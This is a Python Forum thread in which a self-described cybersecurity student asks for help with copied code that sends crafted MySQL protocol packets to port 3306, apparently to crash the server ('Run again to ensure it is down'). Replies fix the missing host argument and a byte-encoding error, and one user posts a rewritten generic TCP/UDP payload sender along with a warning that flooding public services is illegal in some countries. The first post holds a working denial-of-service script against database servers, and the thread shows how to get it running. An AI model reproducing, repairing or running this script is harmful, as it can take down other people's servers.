Python Forum
socket.gaierror: [Errno -2] Name or service not known
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
socket.gaierror: [Errno -2] Name or service not known
#1
Hello, I am new to this forum.
I'm a cybersec Student and i found some code from the internet i try to modify it and try to execute it but it end up giving "socket.gaierror: [Errno -2] Name or service not known"

Here is the CODE :

import socket, sys

buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00")

buf2=("\x11\x00\x00\x00\x03set autocommit30")

def usage():print("usage : ./mysql.py 45.64.169.25")
print("example: ./mysql.py 192.168.1.22")

def main():
	if len(sys.argv) != 2: usage()
	sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

HOST = sys.argv[0] 
PORT = int(3306) 
s.connect((HOST,PORT)) 
print("[*] Connect")
s.send(buf)
print("[*] Payload 1 sent")
s.send(buf2) 
print("[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n")
s.close() 

if __name__ == "__main__":main()
how can i fix the error and let the code execute and run normally??
i have spent hours sitting in front of my laptop to try to figure this out but end up nothing.
Reply
#2
Quote:but it end up giving "socket.gaierror: [Errno -2] Name or service not known"
There must be more to this error. Please post entire error traceback using error tags (highlight error text, then click icon with red X)
Reply
#3
(May-24-2019, 12:52 AM)Larz60+ Wrote:
Quote:but it end up giving "socket.gaierror: [Errno -2] Name or service not known"
There must be more to this error. Please post entire error traceback using error tags (highlight error text, then click icon with red X)

Hello,Thank for your comment.
here is the error traceback if this is what you want :)

Error:
Traceback (most recent call last): File "Desktop/dos.py", line 25, in <module> s.connect((HOST,PORT)) socket.gaierror: [Errno -2] Name or service not know
i can't see what is the problem with line 25
Reply
#4
Since host comes from the command line as an argument, are you supplying one?
python progname.py xxxx
where xxxx = host
Reply
#5
(May-24-2019, 06:58 PM)Larz60+ Wrote: Since host comes from the command line as an argument, are you supplying one?
python progname.py xxxx
where xxxx = host

I solved the problem! As you mentioned I'm missing the "host"argument.

Also after attached the argument another error popout and i have solved it,i need to change code from s.send(buf) to s.sendall(buf.encode('utf-8')) as well as s.send(buf2) too.

Thank you for the help given I appreciated it!
Reply
#6
Before you send, text must be converted to bytes or you have already raw-bytes.
If you have a text, it could be ASCII, utf8, latin1 or other encodings.
Python uses as standard utf8 as encoding for source code and all other stuff.
ASCII is a subset of Unicode, so no worry about that.

By the way, copying scripts leads into poor code quality.
A little bit improved, using the modern features of Python 3.6.
No external dependencies. Hint: If you want to make good command line applications, use click.

#!/usr/bin/env python3

"""
This program connects to a ip and port via udp or tcp
and sends the datafiles to the destination.
"""

import socket
import sys
from pathlib import Path


class ArgumentError(Exception):
    pass


def usage():
    exe = Path(sys.executable).name
    prg = sys.argv[0]
    descr = __doc__
    cmd_usage = f'Usage: {exe} {prg} <ip> <port> <udp|tcp> <datafile> <...>'
    print(descr)
    print()
    print(cmd_usage)


def get_payloads(datafiles):
    return [Path(file).read_bytes() for file in datafiles]


def get_arguments():
    if len(sys.argv) < 5:
        usage()
        raise ArgumentError('Wrong number of arguments')
    ip, port, proto, *datafiles = sys.argv[1:]
    if proto == 'udp':
        sock_args = (socket.AF_INET, socket.SOCK_DGRAM)
    elif proto == 'tcp':
        sock_args = (socket.AF_INET, socket.SOCK_STREAM)
    else:
        usage()
        raise ArgumentError(f'Wrong protocol: {proto}')
    try:
        addr = (ip, int(port))
    except ValueError:
        usage()
        raise ArgumentError('Port must be a valid number')
    return addr, proto, sock_args, datafiles


def send_payloads_udp(connection, dest, payloads):
    for n, payload in enumerate(payloads, start=1):
        connection.sendto(payload, dest)
        print(f'[*] Payload {n} sent')


def send_payloads_tcp(connection, payloads):
    for n, payload in enumerate(payloads, start=1):
        connection.sendall(payload)
        print(f'[*] Payload {n} sent')


def main():
    try:
        addr, proto, sock_args, datafiles = get_arguments()
    except ArgumentError as e:
        print('Error:', e)
        return 1
    try:
        payloads = get_payloads(datafiles)
    except Exception as e:
        print('Error:', e)
        return 10
    with socket.socket(*sock_args) as sock:
        if proto == 'tcp':
            try:
                sock.connect(addr)
            except Exception as e:
                print('Error:', e)
                return 2
            print("[*] Connected")
            try:
                send_payloads_tcp(sock, payloads)
            except Exception as e:
                print('Error:', e)
                return 20
        elif proto == 'udp':
            try:
                send_payloads_udp(sock, addr, payloads)
            except Exception as e:
                print('Error:', e)
                return 10


if __name__ == '__main__':
    retval = main()
    sys.exit(retval)
Output:
deadeye@nexus ~ $ python payload_sender.py This program connects to a ip and port via udp or tcp and sends the datafiles to the destination. Usage: python payload_sender.py <ip> <port> <udp|tcp> <datafile> <...> Error: Wrong number of arguments
* The command python points on my machine to a local Python 3.7.3 installation.

Output:
deadeye@nexus ~ $ python payload_sender.py 127.0.0.1 1024 tcp test.py test_speed.py Error: [Errno 111] Connection refused
Output:
deadeye@nexus ~ $ python payload_sender.py 127.0.0.1 1024 tcp test.py test_speed.py [*] Connected [*] Payload 1 sent [*] Payload 2 sent
Output:
deadeye@nexus ~ $ python payload_sender.py 127.0.0.1 1024 udp test.py test_speed.py [*] Payload 1 sent [*] Payload 2 sent
Now you can send much garbage to public services, which is also in some countries prohibited by laws.
I you live in Germany, don't do this. If you want to be a nice internet user, don't send garbage to public services.

But the same task can be done also with netcat.
More interesting is to build own IP Headers, TCP Headers + Payload.
What the code totally misses, is receiving data. So you don't see the servers reply to messages.
Almost dead, but too lazy to die: https://sourceserver.info
All humans together. We don't need politicians!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  socket.gaierror: [Errno 11001] Johnygo 4 10,710 Nov-03-2019, 08:52 PM
Last Post: nemat
  socket.gaierror: [Errno -2] Name or Service not known ItsAGuyaneseTing 1 11,615 Mar-02-2018, 07:14 PM
Last Post: mpd

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020